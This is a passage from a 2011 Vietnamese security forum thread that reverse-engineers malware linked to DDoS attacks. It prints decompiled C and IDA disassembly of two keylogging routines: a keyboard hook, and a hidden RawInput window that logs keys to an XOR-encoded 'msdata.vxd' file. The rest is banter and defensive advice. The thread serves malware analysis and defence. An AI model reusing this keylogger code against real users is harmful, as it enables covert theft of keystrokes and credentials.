SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond);
if (!write_string_after_xor_with_0x6F_to_msdata_vxd_file(strlen(szText), hFile, szText))
return -1;
g_hForegroundWndLast = hwnd;
}
GetKeyboardState(&g_abKeyState);
nSc1 = MapVirtualKeyA(wparam, 0);
if (ToAscii(wparam, v8, &g_abKeyState, &g_Char, 0) == 1)
{
if (g_Char > VK_SPACE)
{
wsprintfA(g_szKey, "%c", g_Char);
len = strlen(g_szKey);
psz = g_szKey;
}
nSc2 = MapVirtualKeyA(wparam, 0);
if (GetKeyNameTextA(v9 << 16, g_szKey, 16) > 0)
{
len = strlen(g_szKey);
psz = g_szKey;
}
}
else
{
nSc1 = MapVirtualKeyA(wparam, 0);
if (GetKeyNameTextA(nScancode << 16, g_szKey, 16) > 0)
{
len = strlen(g_szKey);
psz = g_szKey;
hFile = g_hmsdatavxdfile;
}
}
}
write_string_after_xor_with_0x6F_to_msdata_vxd_file(len, hFile, psz);
return CallNextHookEx(0, code, wparam, lparam);
}
|
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
08/10/2011 11:13:54 (+0700) | #1157 | 248346 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Sợ chưa đủ, keylog không hết, stl coder còn phang thêm một cách keyboard log khác, dùng WM_INPUT và RawInput. Kỹ thuật này ít phổ biến nên có thể có bạn chưa biết. Tôi trình bày luôn:
Trong các ThreadProcInxxx trên, stl tạo một window có size = 0, pos = 0, thuộc tính là HWND_MESSAGE. Tức window này sẽ luôn luôn nhận message cho dù nó có hidden, lost focus hay không.
Code:
memset(&wcex, 0, 0x30u);
wcex.cbSize = 48;
wcex.lpfnWndProc = MSDataWndProc;
wcex.hInstance = GetModuleHandleA(0);
wcex.lpszClassName = "msdata";
RegisterClassExA(&wcex);
CreateWindowExA(0, "msdata", "msdata", 0, 0, 0, 0, 0, HWND_MESSAGE, 0, hInstance, 0);
..........
Và code ASM của MSDataWndProc:
Code:
.text:10001888 ON_WM_CREATE: ; DATA XREF: .text:WMHandlerTableo
.text:10001888 01C mov eax, [ebp+hWnd]
.text:1000188B 01C push 0Ch ; cbSize
.text:1000188D 020 push 1 ; uiNumDevices
.text:1000188F 024 lea ecx, [ebp+rawInputDevices]
.text:10001892 024 push ecx ; pRawInputDevices
.text:10001893 028 mov dword ptr [ebp+rawInputDevices.usUsagePage], 60001h
.text:1000189A 028 mov [ebp+rawInputDevices.dwFlags], RIDEV_INPUTSINK
.text:100018A1 028 mov [ebp+rawInputDevices.hwndTarget], eax
.text:100018A4 028 call ds:RegisterRawInputDevices
.text:100018A4
.text:100018AA 01C test eax, eax
.text:100018AC 01C jnz @@Return_0
.text:100018AC
.text:100018B2 01C or eax, 0FFFFFFFFh
.text:100018B5 01C pop edi
.text:100018B6 018 pop esi
.text:100018B7 014 pop ebx
.text:100018B8 010 mov esp, ebp
.text:100018BA 004 pop ebp
.text:100018BB 000 retn 10h
.text:100018BB
.text:100018BE ; ---------------------------------------------------------------------------
.text:100018BE
.text:100018BE ON_WM_INPUT: ; CODE XREF: MSDataWndProc+21j
.text:100018BE ; DATA XREF: .text:WMHandlerTableo
.text:100018BE 01C mov edi, [ebp+cbSize]
.text:100018C1 01C mov ebx, ds:GetRawInputData
.text:100018C7 01C push 16 ; cbSizeHeader
.text:100018C9 020 lea edx, [ebp+cbSize]
.text:100018CC 020 push edx ; pcbSize
.text:100018CD 024 push 0 ; pData
.text:100018CF 028 push RID_INPUT ; uiCommand
.text:100018D4 02C push edi ; hRawInput
.text:100018D5 030 call ebx ; GetRawInputData
.text:100018D5
.text:100018D7 01C mov eax, [ebp+cbSize]
.text:100018DA 01C push eax ; dwBytes
.text:100018DB 020 push 0 ; dwFlags
.text:100018DD 024 call ds:GetProcessHeap
.text:100018DD
.text:100018E3 024 push eax ; hHeap
.text:100018E4 028 call ds:HeapAlloc
.text:100018E4
.text:100018EA 01C push 10h ; cbSizeHeader
.text:100018EC 020 lea ecx, [ebp+cbSize]
.text:100018EF 020 push ecx ; pcbSize
.text:100018F0 024 mov esi, eax
.text:100018F2 024 push esi ; pData
.text:100018F3 028 push RID_INPUT ; uiCommand
.text:100018F8 02C push edi ; hRawInput
.text:100018F9 030 call ebx ; GetRawInputData
.text:100018F9
.text:100018FB 01C test eax, eax
.text:100018FD 01C jz short @@FreeMem_And_Return_0
.text:100018FD
.text:100018FF 01C cmp [esi+RAWINPUTHEADER.dwType], RIM_TYPEKEYBOARD
.text:10001902 01C jnz short @@FreeMem_And_Return_0
.text:10001902
.text:10001904 01C cmp [esi+RAWINPUT.data.keyboard.Message], WM_KEYFIRST
.text:1000190B 01C jnz short @@FreeMem_And_Return_0
.text:1000190B
.text:1000190D 01C movzx ecx, [esi+RAWINPUT.data.keyboard.VKey] ; uCode
.text:10001911 01C call save_key_to_msdata_vxd_file
.text:10001911
.text:10001916 01C cmp eax, 0FFFFFFFFh
.text:10001919 01C jnz short @@FreeMem_And_Return_0
.text:10001919
.text:1000191B 01C mov edx, [ebp+hWnd]
.text:1000191E 01C push edx ; hWnd
.text:1000191F 020 call dsestroyWindow
.text:1000191F
.text:10001925
.text:10001925 @@FreeMem_And_Return_0: ; CODE XREF: MSDataWndProc+9Dj
.text:10001925 ; MSDataWndProc+A2j
.text:10001925 ; MSDataWndProc+ABj
.text:10001925 ; MSDataWndProc+B9j
.text:10001925 01C push esi ; lpMem
.text:10001926 020 push 0 ; dwFlags
.text:10001928 024 call ds:GetProcessHeap
.text:10001928
.text:1000192E 024 push eax ; hHeap
.text:1000192F 028 call ds:HeapFree
.text:1000192F
.text:10001935 01C xor eax, eax
.text:10001937 01C pop edi
.text:10001938 018 pop esi
.text:10001939 014 pop ebx
.text:1000193A 010 mov esp, ebp
.text:1000193C 004 pop ebp
.text:1000193D 000 retn 10h
.text:1000193D
.text:10001940 ; ---------------------------------------------------------------------------
.text:10001940
.text:10001940 ON_WM_DESTROY: ; CODE XREF: MSDataWndProc+21j
.text:10001940 ; DATA XREF: .text:WMHandlerTableo
.text:10001940 01C mov eax, g_hFile_Msdatavxd
.text:10001945 01C cmp eax, 0FFFFFFFFh
.text:10001948 01C jz short @@Quit
.text:10001948
.text:1000194A 01C push eax ; hObject
.text:1000194B 020 call ds:CloseHandle
.text:1000194B
.text:10001951
.text:10001951 @@Quit: ; CODE XREF: MSDataWndProc+E8j
.text:10001951 01C push 0 ; nExitCode
.text:10001953 020 call dsostQuitMessage
.text:10001953
.text:10001959
.text:10001959 @@Return_0: ; CODE XREF: MSDataWndProc+4Cj
.text:10001959 01C xor eax, eax
.text:1000195B 01C pop edi
.text:1000195C 018 pop esi
.text:1000195D 014 pop ebx
.text:1000195E 010 mov esp, ebp
.text:10001960 004 pop ebp
.text:10001961 000 retn 10h
.text:10001961
.text:10001964 ; ---------------------------------------------------------------------------
.text:10001964
.text:10001964 ON_WM_QUERYENDSESSION: ; CODE XREF: MSDataWndProc+21j
.text:10001964 ; DATA XREF: .text:WMHandlerTableo
.text:10001964 01C call SavePowerOffTime
.text:10001964
.text:10001969 01C push 0 ; uExitCode
.text:1000196B 020 call ds:ExitProcess
.text:1000196B
.text:10001971 ; ---------------------------------------------------------------------------
.text:10001971
.text:10001971 DefaultHandler: ; CODE XREF: MSDataWndProc+14j
.text:10001971 ; MSDataWndProc+21j
.text:10001971 ; DATA XREF: .text:WMHandlerTableo
.text:10001971 01C mov eax, [ebp+cbSize]
.text:10001974 01C mov edx, [ebp+wParam]
.text:10001977 01C push eax ; lParam
.text:10001978 020 mov eax, [ebp+hWnd]
.text:1000197B 020 push edx ; wParam
.text:1000197C 024 push ecx ; Msg
.text:1000197D 028 push eax ; hWnd
.text:1000197E 02C call dsefWindowProcA
.text:1000197E
.text:10001984 01C pop edi
.text:10001985 018 pop esi
.text:10001986 014 pop ebx
.text:10001987 010 mov esp, ebp
.text:10001989 004 pop ebp
.text:1000198A 000 retn 10h
.text:1000198A
.text:1000198A MSDataWndProc endp
Hàm save_key_to_msdata_vxd_file cũng gần tương tự như code của hàm KbdHookProc.
Mong được các bạn đóng góp kết quả RCE của các bạn, các thắc mắc, trao đổi... |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
08/10/2011 13:40:42 (+0700) | #1158 | 248350 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
he he, malware của STL giống như nồi lẩu thập cẩm vậy đó. Chỉ có điều thành phần tạo nên nồi lẩu này ăn vô không bị điên thì cũng khùng, không bị khùng cũng bị ngộ độc... màng não .
Thật vinh dự cho nền CNTT nước nhà. Nếu xuất khẩu loại "lẩu thập cẩm" này chắc cũng thu bộn ngoại tệ á nhưng đây là chuyện nhỏ... chuyện quan trọng hơn là chẳng mấy hồi ta sánh vai với các cường quốc điện toán.
Hôm bữa tớ ngồi làm 1 bài toán hỗn hợp, phân tích các thông tin của stl thì lộ ra một địa danh có số lần xuất hiện nhiều nhất, đố các bạn đó là địa danh gì? |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
08/10/2011 13:55:49 (+0700) | #1159 | 248352 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Cái này thì em đồng ý với anh conmale. Em cũng là dân code, nhưng khi tái tạo lại source code của stl, thì em cứ quái, khùng không vầy trời ???
stl coder dùng rất nhiều kỹ thuật cao, ít phổ biến trong lập trình hệ thống trên Win32, nhưng khi mang các kỹ thuật đấy vào code thì lại code rất ngớ ngẩn, bug tá lã. Coding style tùm lum, không thống nhất, giống như anh em coder nhà ta code outsource, miển chạy, lấy tiền là được rồi.
Vd nhé, trên cái hàm MSDataWndProc em vừa post, trước giờ stl coder hay và đang xài malloc, new, tự dưng lại phang vô HeapAlloc(GetProcessHeap(), size). Rồi khi CloseHandle, HeapFree thì lại không thèm check parameter truyền vào. May mà các API của Windows đã check, không thì crash cả đống "mèo què" hết.
Để em đoán nhé, cái địa danh xuất hiện nhiều nhất có phải là Sandrex không anh conmale ? |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
08/10/2011 14:07:18 (+0700) | #1160 | 248355 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
TQN wrote:
Cái này thì em đồng ý với anh conmale. Em cũng là dân code, nhưng khi tái tạo lại source code của stl, thì em cứ quái, khùng không vầy trời ???
stl coder dùng rất nhiều kỹ thuật cao, ít phổ biến trong lập trình hệ thống trên Win32, nhưng khi mang các kỹ thuật đấy vào code thì lại code rất ngớ ngẩn, bug tá lã. Coding style tùm lum, không thống nhất, giống như anh em coder nhà ta code outsource, miển chạy, lấy tiền là được rồi.
Vd nhé, trên cái hàm MSDataWndProc em vừa post, trước giờ stl coder hay và đang xài malloc, new, tự dưng lại phang vô HeapAlloc(GetProcessHeap(), size). Rồi khi CloseHandle, HeapFree thì lại không thèm check parameter truyền vào. May mà các API của Windows đã check, không thì crash cả đống "mèo què" hết.
Để em đoán nhé, cái địa danh xuất hiện nhiều nhất có phải là Sandrex không anh conmale ?
hì hì, anh quên hỏi cụ thể hơn: địa danh nào ở Việt Nam . |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
09/10/2011 13:58:49 (+0700) | #1161 | 248388 |
freedomsg
Member
|
0 |
|
|
Joined: 08/10/2011 15:05:36
Messages: 1
Offline
|
|
Hix hix, nghe các bác nói bọn stl chế malware để lấy cắp "thông tin cá nhân" của nạn nhân trên internet mình cũng cảm thấy bất an cho pc của mình (mình thuộc phe tự do) và đồng thời cũng khinh bỉ tụi nó cực độ
Ko chừng pc mình đã được bọn nó ghé thăm mà mình ko biết. Hôm qua, mình đã down Tcpview và SmartSnif (còn cái Wai-shet gì đó phức tạp quá!!) để kiểm tra các liên kết nhưng trong list có cả trăm connection thì ai mà biết liên kết nào là của bọn nó.
Các bạn cao tăng trên đây có thể làm một bài hướng dẫn cụ thể cách phòng-chống-diệt mèo que cho mọi người được ko ? Theo mình nghĩ, phòng thủ ở đây là sử dụng một chương trình AntiVirut được cập nhật thường xuyên (mình sử dụng Avira Free) nhưng nếu bọn chúng tung ra con mèo que mới trong khi các AntiVirut chưa được cập nhật thì nguy cơ bị dính vẫn còn. Không biết còn kiểu phòng thủ nào nữa ko ??
Thks. |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
09/10/2011 14:22:42 (+0700) | #1162 | 248389 |
|
quygia128
Member
|
0 |
|
|
Joined: 15/07/2009 20:50:28
Messages: 119
Location: Somewhere
Offline
|
|
Cách phòng chống thì bạn đọc lại từ đầu tới giờ là có thể hiểu phòng chống bằng cách nào rồi. Trong bài thảo luận này đã nói đến rất nhiều tại bạn chưa đọc hết hay sao ấy ?
để kiểm tra các liên kết nhưng trong list có cả trăm connection thì ai mà biết liên kết nào là của bọn nó.
Bạn hãy tắt hết các chương trình cần truy cập mạng của mình : Trình duyệt web, yahoo.... rồi bạn chạy chương trình SmartSniff, dow bản đã fix của anh TQN ở trang trước để tiến hành Sniff thôi.
Khi có kết nối ra ngoài nó sẽ ghi nhận lại địa chỉ IP, bác có thể vào mấy trang kiểm tra IP để xem nó kết nối đi đâu
|
|
.::Mới bắt đầu trên con đường dài::.
.::Super Newbiez::. |
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
09/10/2011 19:01:53 (+0700) | #1163 | 248400 |
namkaka
Member
|
0 |
|
|
Joined: 22/03/2009 22:30:23
Messages: 17
Offline
|
|
conmale wrote:
TQN wrote:
Cái này thì em đồng ý với anh conmale. Em cũng là dân code, nhưng khi tái tạo lại source code của stl, thì em cứ quái, khùng không vầy trời ???
stl coder dùng rất nhiều kỹ thuật cao, ít phổ biến trong lập trình hệ thống trên Win32, nhưng khi mang các kỹ thuật đấy vào code thì lại code rất ngớ ngẩn, bug tá lã. Coding style tùm lum, không thống nhất, giống như anh em coder nhà ta code outsource, miển chạy, lấy tiền là được rồi.
Vd nhé, trên cái hàm MSDataWndProc em vừa post, trước giờ stl coder hay và đang xài malloc, new, tự dưng lại phang vô HeapAlloc(GetProcessHeap(), size). Rồi khi CloseHandle, HeapFree thì lại không thèm check parameter truyền vào. May mà các API của Windows đã check, không thì crash cả đống "mèo què" hết.
Để em đoán nhé, cái địa danh xuất hiện nhiều nhất có phải là Sandrex không anh conmale ?
hì hì, anh quên hỏi cụ thể hơn: địa danh nào ở Việt Nam .
em đoán đó là nha trang quê cũ của anh đúng không ? |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
09/10/2011 22:04:08 (+0700) | #1164 | 248406 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Hì hì, em thì chỉ nghĩ là stl phải nhắc nhiều nhất là Hà Nội hay Hải Phòng thôi ! Phải không anh conmale. Cho đáp án đi anh Đừng có nói là tụi nó nhắc tới Gialai quê em nhé |
|
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
10/10/2011 01:49:52 (+0700) | #1165 | 248407 |
|
conmale
Administrator
|
Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
|
|
TQN wrote:
Hì hì, em thì chỉ nghĩ là stl phải nhắc nhiều nhất là Hà Nội hay Hải Phòng thôi ! Phải không anh conmale. Cho đáp án đi anh Đừng có nói là tụi nó nhắc tới Gialai quê em nhé
Hì hì, không phải Hà Nội, không phải Hải Phòng, không phải Gia Lai, cũng chẳng phải Nha Trang mà là: Thái Nguyên.
@ namkaka: chắc chắn không phải Nha Trang của anh rồi. Dân Nha Trang hiền khô à. |
|
What bringing us together is stronger than what pulling us apart. |
|
|
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
10/10/2011 13:57:03 (+0700) | #1166 | 248464 |
|
tmd
Member
|
0 |
|
|
Joined: 28/06/2006 03:39:48
Messages: 2951
Offline
|
|
Sao lại là "Thái Nguyên", vị trí địa lý này nằm ở khu vực thông tin nào vậy mr conmale. Thông này có lẽ nằm ở Thông tin zombie,thông tin server, thông tin whois,thông tin người bị lộ diện ...? |
|
3 giai đoạn của con... người, ban đầu dek biết gì thì phải thăm dò, sau đó biết rồi thì phải thân thiết, sau cùng khi quá thân thiết rồi thì phải tình thương mến thương. Nhưng mà không thương được thì ... |
|
[Analyzing] Phân tích tính chất vài trận DDoS HVA vừa qua. |
10/10/2011 14:33:00 (+0700) | #1167 | 248466 |
|
dexxa
Member
|
0 |
|
|
Joined: 01/07/2006 20:35:01
Messages: 121
Offline
|
|
Hì hì, không phải Hà Nội, không phải Hải Phòng, không phải Gia Lai, cũng chẳng phải Nha Trang mà là: Thái Nguyên.
Ở Thái nguyên có bác Hoàng Hiệp "ghê gúm" lắm mà |
|
|
|